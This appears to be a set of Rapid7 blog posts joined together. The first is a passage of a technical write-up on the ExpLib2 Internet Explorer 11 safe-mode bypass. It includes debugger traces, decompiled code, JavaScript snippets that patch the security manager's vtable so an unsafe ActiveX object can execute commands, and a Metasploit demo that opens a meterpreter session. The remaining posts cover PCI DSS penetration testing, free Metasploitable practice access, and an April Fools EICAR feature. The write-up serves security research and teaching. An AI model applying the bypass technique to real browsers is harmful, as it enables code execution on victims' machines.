      v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);

      // Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)
      Js::JavascriptOperators::AddIntsToArraySegment();

      ........




































 

The first call to Js::JavascriptLibrary::CreateNativeIntArrayLiteral() will initialize the Js::JavascriptnativeIntArray object and will allocate space to store the data. The second call to Js::JavascriptOperators::AddIntsToArraySegment() will fill the space with user-controlled data, which in this case is just nulls.

 

Let's examine the Js::JavascriptLibrary::CreateNativeIntArrayLiteral() function first a little more carefully. So in Jscript9, there are multiple variants of arrays like Integer arrays or float arrays. Our function, as the name implies, creates a "Native Int Array Literal". Although there are different types of arrays out there, note that they all have the same inheritance that goes all the way back to Js::DynamicObject:


js_objects.png

 

As an example, our JavascriptNativeIntArray has the following layout in memory:

 

Screen Shot 2014-04-04 at 12.17.19 PM.png

 

Next, space for the array data will be allocated through the internal Jscript9 allocator. For arrays like the ones used by ExpLib2, if large enough, will go through LargeHeapBlock:

 


0:007> g
Breakpoint 3 hit
eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344
eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
jscript9!LargeHeapBlock::Alloc:
68be0594 8bff            mov    edi,edi
0:007> kb
ChildEBP RetAddr  Args to Child
0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc
0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1
0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a




































 

LargeHeapBlock::Alloc will check if it has enough space available for the requested allocation. The actual requesting size should be data size plus the 0x10 header size. If there's space, it will return a pointer for the allocation, and then it will just adjust the position of the next available space.

 

.text:1006059D                mov    ecx, [ebp+arg_0] ; Allocation Request
.text:100605A0                push    edi
.text:100605A1                mov    ebx, [esi+1Ch]  ; Space Available
.text:100605A4                lea    edi, [ebx+10h]  ; Allocation Header Length: 0x10
.text:100605A7                lea    eax, [ecx+edi]  ; EAX = the limit of the allocation
.text:100605AA                cmp    eax, [esi+20h]  ; Compare with the max memory available for LargeHeapBlock
.text:100605AD                ja      loc_10060808
.text:100605B3                cmp    eax, edi
.text:100605B5                jb      loc_10060808
.text:100605BB                mov    dl, [ebp+arg_4]
.text:100605BE                mov    [esi+1Ch], eax  ; 0x1c stores the new pointer to the available space for allocations
.text:100605C1                mov    eax, [esi+14h]
.text:100605C4                mov    [ebx+4], ecx
.text:100605C7                mov    [ebx], eax
.text:100605C9                mov    eax, edi        ; Pointer to the memory to store the data




































 

The allocation request eventually reaches VirtualAlloc through the JavaScript PageAllocator. The following demonstrates an allocation of 0x20000:

 

0:004> kb 10
ChildEBP RetAddr  Args to Child
0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31
0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34
0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14
0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d
0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d
0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d
0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe
0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e
0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f
0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72
0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a





































 

If you do get an allocation, there shouldn't be any randomization behind it. Other researchers like Yuki and @Ga1ois also pretty much claim the same thing.

 

Let's move on to the array data. Remember the (0x1000 - 0x20 / 4) size we talked about? Here's where that "0x20" comes from: when data is created, we must account for two things: The allocation header, and the array header. Each of them is 0x10 bytes, so that's where you got the 0x20. Having these into account will ensure you to get 0x1000-byte aligned allocations with LargeHeapBlock. Each array looks like the following:

Screen Shot 2014-04-04 at 5.57.23 PM.png

 

Some interesting information you want to remember:

 

  • Allocation header + 0x4 = Allocation Size
  • Array data header + 0x4 = Array Length
  • Array data header + 0x8 = Array Length
  • The array data would have an allocation pattern like this link.

 

So yup, that's it for our heap spraying. It's quite a lot of stuff to go through, isn't it? Does the code example above remind you how awesome Yuki Chen is to make this into one line of code?

 

 

Exploitation with Safe Mode Bypass in Internet Explorer 11

 

Like we said earlier, Yuki Chen's exploitation technique doesn't require any ROP, VirtualProtect, NtContinue, or custom shellcode, etc. It does require you to begin with a memory corruption of your own in order to modify an array you spray. Modify what, you ask? Well, by overwriting the length field of an array, which is found in the array data header, it is possible to read or write whatever is beyond the array data, and that is your typical information leak. By taking advantage of this, Yuki Chen managed to eventually disable safe mode in Internet Explorer to be able to run an unsafe ActiveX object like this:

 

var WshShell = new ActiveXObject("WScript.shell");
oExec = WshShell.Exec('calc.exe')




































 

What ExpLib2 achieves for you is with that information leak, it will disclose the address of an ScriptEngine object, and then it finds the security manager from it at offset 0x21c, like this:


var original_securitymanager = this.read32( script_engine_addr + 0x21c );





































Note that even though the security manager is an object, the symbols for it won't necessarily make sense to you. The vtable has your typical QueryInterface, AddRef, Release, the rest are all "TearoffThunk"s, which is sort of cryptic looking at first glance. An example of that can be found here. We were able to verity this is indeed the security manager by examining the ScriptSite::CreateObjectFromProgID function (which is used to create an ActiveX object):

 

signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
{
  ....

  if ( a3 )
    pvReserved = &v13;
  if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )
    return -2146827859;
  v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);
  if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )
    return -2146827859;
  v6 = 5;
  if ( a3 )
  {
    if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )
      return -2146827859;
    v6 = 16;
  }
  if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )
    return -2146827859;
  v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;
  v8 = *(_DWORD *)ppv;
  if ( v7 )
  {
    v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);
    (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);
    if ( v9 >= 0 )
    {
LABEL_11:
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;
      (*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);
      *(_DWORD *)a4 = 0;
      return -2146827859;
    }
  }
  else
  {
    (*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);
    pvReserved = 0;
    v11 = SiteService::Create(&pvReserved, v4);
    v12 = pvReserved;
    v9 = v11;
    if ( v11 >= 0 )
    {
      v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(
            v20,
            pvReserved,
            0,
            &IID_IUnknown,
            a4);
      if ( v9 >= 0 )
      {
        (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
        SiteService::Release(v12);
        goto LABEL_11;
      }
    }
    (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
    if ( v12 )
      SiteService::Release(v12);
  }
  return v9;
}




































 

The first important thing here is the call to ScriptEngine::CanCreateObject function. There you can find an interesting call to ScriptEngine::GetSiteHostSecurityManagerNoRef() with an argument (var_4), which is the host of the security manager:

 

6c128362 8d45fc          lea     eax,[ebp-4]
6c128365 8bce            mov     ecx,esi
6c128367 50              push    eax
6c128368 e844000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)




































 

What follows next is the ScriptEngine::GetSiteHostSecurityManagerNoRef function will retrieve the security manager at offset 0x21c from the ScriptEngine object. You know, the same 0x21c offset that ExpLib2 refers to:

 

6c1283d5 8d9f1c020000    lea     ebx,[edi+21Ch]         ; Retrieve SecurityManager from ScriptEngine
6c1283db 3933            cmp     dword ptr [ebx],esi
6c1283dd 7412            je      jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)
6c1283df 8b4d08          mov     ecx,dword ptr [ebp+8]
6c1283e2 8b03            mov     eax,dword ptr [ebx]
6c1283e4 5b              pop     ebx
6c1283e5 8901            mov     dword ptr [ecx],eax    ; Store the SecurityManager reference into the caller var_4
6c1283e7 8bc6            mov     eax,esi
6c1283e9 5f              pop     edi
6c1283ea 5e              pop     esi
6c1283eb 8be5            mov     esp,ebp
6c1283ed 5d              pop     ebp
6c1283ee c20400          ret     4




































 

We can double check that 0x21c is indeed where is security manager is by hitting out breakpoint at address 0x6c1283d5, which is where the "lea ebx, [edi+21Ch]" instruction is:

 

Breakpoint 2 hit
eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8
eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x24:
6c1283d5 8d9f1c020000    lea    ebx,[edi+21Ch]




































 

Ok, so we've hit the correct breakpoint. If we check EDI, it should point to the ScriptEngine object:

 

0:007> ln poi(edi)
(6bfc2298)  jscript9!ScriptEngine::`vftable'  |  (6c03d878)  jscript9!`string'
Exact matches:
    jscript9!ScriptEngine::`vftable' = <no type information>




































 

At EDI+0x21c, we notice this pointer 0x68decd98 (this log is from another new debugging session, but you get the point):

 

0:007> dds poi(edi+21c) L1
00359c90  68decd98 MSHTML!s_apfnPlainTearoffVtable




































 

If we take a look at this particular pointer, it brings us to the same "cryptic" looking vtable we found earlier, which verifies that this is indeed the security manager:


0:007> dds poi(poi(edi+21c))
68decd98  67fb87d7 MSHTML!PlainQueryInterface
68decd9c  67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef
68decda0  67faa906 MSHTML!PlainRelease
68decda4  681efba2 MSHTML!TearoffThunk3
68decda8  681b6f2b MSHTML!TearoffThunk4
68decdac  681b6efc MSHTML!TearoffThunk5
68decdb0  681bc2d9 MSHTML!TearoffThunk6
68decdb4  680f0bfd MSHTML!TearoffThunk7
68decdb8  681b7ecd MSHTML!TearoffThunk8
68decdbc  681f4109 MSHTML!TearoffThunk9
68decdc0  681c5978 MSHTML!TearoffThunk10
68decdc4  68110cf1 MSHTML!TearoffThunk11
68decdc8  68093831 MSHTML!TearoffThunk12
68decdcc  68455c0d MSHTML!TearoffThunk13
68decdd0  68322ce5 MSHTML!TearoffThunk14
68decdd4  681f4612 MSHTML!TearoffThunk15
68decdd8  683ea4cb MSHTML!TearoffThunk16
68decddc  681f56e8 MSHTML!TearoffThunk17
68decde0  683ec3c5 MSHTML!TearoffThunk18
68decde4  6846194c MSHTML!TearoffThunk19
68decde8  68212c40 MSHTML!TearoffThunk20
68decdec  68213049 MSHTML!TearoffThunk21
68decdf0  683e5d5a MSHTML!TearoffThunk22
68decdf4  683e50c1 MSHTML!TearoffThunk23
68decdf8  683c9755 MSHTML!TearoffThunk24
68decdfc  68209511 MSHTML!TearoffThunk25
68dece00  6848ab0e MSHTML!TearoffThunk26
68dece04  68408a2f MSHTML!TearoffThunk27
68dece08  68484220 MSHTML!TearoffThunk28
68dece0c  684b8d55 MSHTML!TearoffThunk29
68dece10  684b8f75 MSHTML!TearoffThunk30
68dece14  68417220 MSHTML!TearoffThunk31




































 

Now back to ExpLib2. After it figures out where the security manager is (it also finds Jscript9's base, code start, code end for other things later on), it will copy it in order to create another fake one. It becomes fake because ExpLib2 modifies its security manager vtable, and then it modifies ScriptEngine's security manager reference at offset 0x21c to the fake one. And this is how we trick Internet Explorer into treating your unsafe ActiveX safe.

 

But hang on, that's not all of it. ExpLib2 also needs to patch two virtual functions in the fake security manager with the following sequences:

 

/* mov esp, ebp; pop ebp; ret 8; */
this.write32( fake_securitymanager_vtable + 0x14,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );

/* mov esp, ebp; pop ebp; ret 4; */
this.write32( fake_securitymanager_vtable + 0x10,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );




































 

These two patches are meant for the type of payload you want to run. The first patch is for exec type of payload, and the second patch is for drop-and-execute type of payload. Let's focus on the first patch, because that should be enough to make a point for now.

 

To examine what the first patch is about, we'll breakpoint at the original virtual function MSHTML!TearoffThunk5 (offset 0x14), and see why it has to be faked. The breakpoint should lead us to ScriptEngine::CanObjectRun() based on the callstack:

 

0:007> g
Breakpoint 2 hit
eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4
eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
MSHTML!TearoffThunk5:
681b6efc 8b542404        mov    edx,dword ptr [esp+4] ss:0023:027ab674=909c3500
0:007> kb 5
ChildEBP RetAddr  Args to Child
027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5
027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89
027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd
027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51
027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99




































 

After some stepping in the debugger, you should be able to tell that faking the virtual function at offset 0x14 is necessary: It needs to survive the CanObjectRun call, which allows a successful return from function CreateObjectFromProgID, and finally creating an ActiveXObject without any issues:

 

signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
...
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;




































 

And that's really impressive work from Yuki Chen. In case you haven't realized, he managed to get code execution on Internet Explorer 11 without fighting every single memory protection like a boss. Reversing the JavaScript security model is also a fun one for all of us.

 

 

Metasploit Demo

 

In case you didn't know, ExpLib2 has already been merged into Metasploit. To demonstrate how to use it by an exploit module, we have two test cases for you to play with:

 

 

The difference between these two modules is the kind of payload you get with ExpLib2. We like explib2_ie11_drop_exec_test_case, because it pops a Metasploit meterpreter session, so we'll talk about that. To use it, make sure you place it as a loadable module by the Framework, and then:

 

> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/tGd8X1dZBBosQ92
[*]  Local IP: http://10.6.0.136:8080/tGd8X1dZBBosQ92
[*] Server started.




































 

Visit the page with a Windows 7 SP1 / IE11, an alert will pop up asking you to execute the following "ed" command. This is just a way to simulate a memory corruption vulnerability to overwrite the array data length. You should attach WinDBG to iexplore.exe, and run this ed command:

 

ed 1a1b3000+18 400















 

Next, you can either issue the "g" command to continue the process, or you can run the ".detach" command. And then go ahead and click on the alert.  After that, ExpLib2 should do its thing, and you should get a session like so:

 

msf exploit(explib2_ie11_drop_exec_test_case) >
[*] 10.6.0.136      explib2_ie11_drop_exec_test_case - Gathering target information.
[*] 10.6.0.136      explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:50719) at 2014-03-28 11:06:41 -0500

msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter    : x86/win32




































 

If you'd like to try ExpLib2 in Metasploit yourself, make sure to run an update and this should be in your repository. If you don't have a development environment, feel free to go through our Metasploit Development Environment wiki, and maybe submit a pull request if you'd like to improve it more. Finally, if you've never heard of Metasploit before, click here to enjoy thousands of exploits, auxiliaries, post modules, and more. It's FREE.

No-Vacancies.jpgPCI DSS Compliance is driving about 35% of all penetration tests, according to a Rapid7 Metasploit User Survey with more than 2,200 respondents earlier this year. With the changes introduced in PCI DSS version 3.0, penetration tests will become more complex and longer in duration, and more companies will feel the need to run penetration tests in the first place. Given that it takes a lot of time and money to train new penetration testers, this will cause consultants to book out early, and probably even increase prices per day.

 

PCI v3.0 changes will increase the demand for and duration of penetration tests

 

Requirement 11.3 demands that companies develop and stick to a penetration testing methodology, citing NIST SP 800-115 as an example. This new requirement has two knock-on effects:

 

  • It increases the documentation required to pass the pentest. Writing reports already takes about 30% of a consultant’s time. Even if consulting companies have template penetration testing methodologies, these will have to be discussed with clients and potentially adopted, both of which costs additional time.
  • While penetration testing has always been required by PCI DSS, version 2.0 did not define what a penetration test is. As a result, some companies, especially those using self-assessment questionnaires, simply submitted vulnerability scans or even an nmap scan and ticked the compliance box. With PCI DSS 3.0, this is no longer possible since a penetration test is much more clearly defined, specifically including exploitation as one of the techniques.

 

Requirement 11.3.3 calls for remediating all exploitable vulnerabilities and then retesting them. This has two levels of impact:

 

  • I have talked to many security consultants over the years who have been frustrated that some customers never address the holes they point out, leaving the consultant to the futile exercise of copying and pasting last year’s report. This will no longer fly this year, since you are required to remediate all exploitable vulnerabilities.
  • In the case that you find exploitable vulnerabilities, you will have to retest these vulnerabilities. This may involve your booking a second round of security consultants.

 

Requirement 11.3.4 asks companies to carry out active tests to ensure that network segmentation is operational and effective. This is a new requirement that needs to be covered as a standard part of the penetration test. This will also extend the duration of the penetration test.

 

Penetration Testers will book out early - and hourly rates will go up

 

As a result of more people needed penetration tests and the penetration tests being longer in duration, prices may also increase as a function of increased demand. The supply of penetration testing services is inelastic, meaning it is hard to increase the supply of penetration testing services because it is hard to train new staff on penetration testing skills. As a result, penetration testing companies will increase their hourly rate as they’re starting to get more and more booked out during the year, charging a premium for rising demand and to compensate for overtime payments and sacrificed vacations and weekend work.

 

penetration-testing-supply-demand.png

 

Seven Tips for Booking Your PCI 3.0 Penetration Testing Services

 

  1. Book penetration testing services early and reserve your slots. You will save on the hourly rate and secure a slot to complete your audit on time.
  2. In the Statement of Work, include a clause that the security consultant will use a penetration testing methodology that is accepted under PCI DSS v.3.0 and that the consultant will include this methodology in their final report.
  3. Make space in your project plan and budget for remediation and a second round of penetration testing.
  4. Don’t forget to book the second slot with the security consultant so that you have a time locked in to pass your audit on time.
  5. Ensure that network segmentation testing is covered as one of the actions in the Statement of Work.
  6. Pad your budget for increases in hourly rate and duration of penetration testing services for PCI DSS. Needs may vary depending on how early you book, how in-depth your previous year’s penetration test was, and how much you have to remediate after the penetration test. As a rough estimate, a 30% increase will probably cover your increased spending.
  7. If you have the resources in-house, consider moving penetration tests in-house. For PCI, the resource needs to qualified and independent from the people who are responsible for the security of the Cardholder Data Environment (CDE).

 

How Rapid7 can help

 

 

Learn more about Rapid7’s solutions for PCI DSS.

 

If you’d like to start a conversation, contact Rapid7. For more information about the new penetration testing requirements for PCI 3.0, view our free on-demand webcast “Implementing New Penetration Testing Requirements for PCI DSS 3.0“

This guest blog comes to us from Marius Corici from CTF365. When asked to describe himself he gave me the following: "I enjoy being an entrepreneur and discovering new solutions for old problems. Motto: Think a lot to do less and preserve energy to provide simplicity."

 

There is no doubt that the best way to learn Information Security is hands-on and to make this easier, the guys from Rapid7 and Metasploit created Metasploitable, a server that is vulnerable by design.

 

Beside its vulnerability as a server, they (the guys from Metasploit) added more special "ingredients" (vulnerable by design applications) like Damn Vulnerable Web Application from RandomStorm or Mutillidae from OWASP.

 

 

Metasploitable represents the perfect place to start learning penetration testing as a light introduction. Its popularity has spread across the InfoSec community and become a study framework for most infosec students as well as for some training companies. One reason it has become so popular is that Metasploit framework is the most popular penetration testing framework according to this survey where it got an whopping 82% among PenTest frameworks. Many PenTest OS vendors, like well known Offensive-Security's BackTrack/Kali Linux, recommend to practice on Metasploitable to learn how to use their operating systems. A quick search on YouTube shows there are over 1800+ videos containing "Metasploitable"

 

Metasploitable-1080.jpg

 

It's free, open source, and if you wanted to use it, there were some specific steps to follow in order to get it properly installed into your virtual environment.

Until now.

The team behind CTF365, gladly announce to you that there is a new way to access Metasploitable and practice FREE in the cloud.

 

Why is that special?

1) Being over The Internet, helps to simulate the real thing.

2) Need someone to help you? You can use the CTF365 IRC service.

3) In case you want to create a video tutorial on the fly, you can now do so, without the need to create your own virtual environment.

4) Want to study using tutorials like the one from Offensive-Security Metasploit Unleashed ?

5) As an InfoSec instructor it is much easier to show live to your students.

6) In case you want to quickly test new PenTest tools.

And I'm quite sure you can find few more reasons why.

At this moment it is deployed as a non persistent image, which means that we have set up a period of time before we reset it to its initial state. This is in case some of you manage to break it. In the future we hope to get enough hardware to make it as a individual and persistent instance.

 

All registered users get FREE access to Metasploitable 2. Once you register into CTF365 and setup your VPN you'll be able to access Metasploitable at http://metasploitable.ctf. Please remember: No VPN, no access.

 

CTF365 it’s a top notch training platform with a focus on Security Professionals, System Administrators and Web Developers that offers five stars services regarding training, learning and improving offensive and defensive web security. We're glad to offer this functionality to help everyone stay more secure.

 

Any questions? Glad to answer. Stay secure while having fun. :-)

Got Too Many Shells?

why-cant-i-hold-all-these-shells.png

Since the release of Metasploit 4.9, have you, the dedicated and resourceful penetration tester, been having is problem with being too successful at skipping past the defender's detection efforts? Are you getting too many shells? Maybe you're getting a little embarrassed for the IT guys who are wondering what the heck just happened to their anti-virus protections.

 

If that's the case, I have some good news! As of today, April 1, 2014, Metasploit is pleased to announce an entirely new feature for penetration testers: Anti-Virus Attraction!

 

Anti-Virus Attraction

 

Turns out, we're just too darn evasive for many-to-most AV solutions. So, in order to level the playing field between the penetration testers and the AV vendors, Metasploit Framework has extended the payload encoders and the executable generators to be a little less evasive by including some easy-to-detect data in our payloads. Well, a lot less.

 

After several high level meetings and some deep-dive research in the field of malware detection, we've come up with a plan to address this too-successful problem. As of today, we now ship both the generic/eicar payload encoder (which works across all platforms) and the EXE::EICAR static executable generator (Windows-only).

 

Detection: Not Quite 100%

 

I'm pretty pleased with the results. Check out our VirusTotal hit rate:

virus-total-screenshot.png

As you can see, 49 out of 51 of malware detection solutions successfully pick up EICAR. We're working on ensuring those last two are able to detect Metasploit as well -- if you know anyone over there, you might drop them a line and ask how you can help.

 

Usage


The usage is straightforward. For example, here's how to encode any given payload to EICAR-compliance using the command line tool msfvenom:

 

msfvenom-eicar-payload.png

 

Note the size reduction, by the way -- the encoded payload is merely 68 bytes, which is 227 bytes smaller. A 77% savings in payload size is nothing to sneeze at!

 

Generating a Windows EXE for any compatible Windows exploit is similarly easy -- just set the EXE::EICAR or MSI::EICAR option to true, and you'll be using the new static executable generator instead of the souped up dynamic one.

 

Note, while these payloads and binaries are quite real and quite functional, actually using these will certainly ruin any chance of actually getting a working shell, since the EICAR test file standard does not allow for any kind of useful extension for functional requirements like opening network sockets. Oh well, it's a sacrifice.

 

So, if you've been having a good a run you just have too many shells, and you feel like you need to throw a bone to defenders, give the EICAR transforms a whirl. This new feature is available today in the Metasploit Framework as of Pull Request #3168, and will be coming soon in an update of Metasploit Pro and Community editions -- in the meantime, download your free 7-day trial of Metasploit Pro today.

 

If you happen to be more interested in AV evasion (how lame!) than AV attraction (yay!), join AV black belt ninja Dave Maloney on his free webcast "Evading Anti-Virus Solutions with Dynamic Payloads in Metasploit Pro":

 

Filter Blog

By date: By tag: